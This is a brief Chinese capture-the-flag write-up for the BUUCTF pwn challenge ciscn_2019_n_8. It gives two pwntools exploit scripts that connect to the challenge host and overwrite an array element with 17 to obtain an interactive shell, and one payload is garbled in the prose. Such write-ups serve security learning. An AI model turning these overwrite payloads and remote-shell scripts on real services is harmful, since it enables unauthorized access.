不属于栈溢出,应该是比较简单的pwn,看懂代码逻辑+使用pwntools
32位,开启了Stack、NX、PIE保护
执行效果:
main函数
使用通义千问询问的代码解读:
即当var数组的第十四个元素是17就可以
这里可以用两种payload:
第一种:
payload = b’a’134 + p32(17) #qword/IDA在32位里面是4个字节,在64位是/8个字节
第二种:
payload = p32(17)*14
第一种对应的exp是:
from pwn import *
io = remote("node5.buuoj.cn",27250)
payload = b'a'*13*4 + p32(17)
io.sendlineafter("What's your name?\n",payload)
io.interactive()
执行结果:
但看网上帖子有的用这个exp没办法连通,解决办法可以参考:[BUUCTF-pwn]——ciscn_2019_n_8_[ciscn 2019华南]pwn8-CSDN博客
第二种对应的exp是:
from pwn import *
io = remote("node5.buuoj.cn",27250)
payload = p32(17)*14
io.sendlineafter("What's your name?\n",payload)
io.interactive()
执行结果: